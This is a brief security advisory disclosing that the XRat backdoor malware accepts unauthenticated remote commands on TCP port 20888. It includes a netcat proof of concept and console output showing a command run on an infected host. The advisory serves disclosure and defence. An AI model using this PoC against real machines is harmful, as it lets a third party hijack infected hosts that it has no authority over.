Backdoor.Win32.XRat.k / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/3d4350282ae043177063de2ad4827b97.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.k
Vulnerability: Unauthenticated Remote Command Execution
Description:  XRat malware listens on TCP port 20888. Third-party attackers
who can reach the system can run commands hijacking the infected host.
Type: PE32
MD5: 3d4350282ae043177063de2ad4827b97
Vuln ID: MVID-2022-0482
Dropped files: Rat.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 20888
"X-Rat System Console" v2.8

Status Ready, Client: 192.168.18.130:8325

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#exec calc


Command "EXEC" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#


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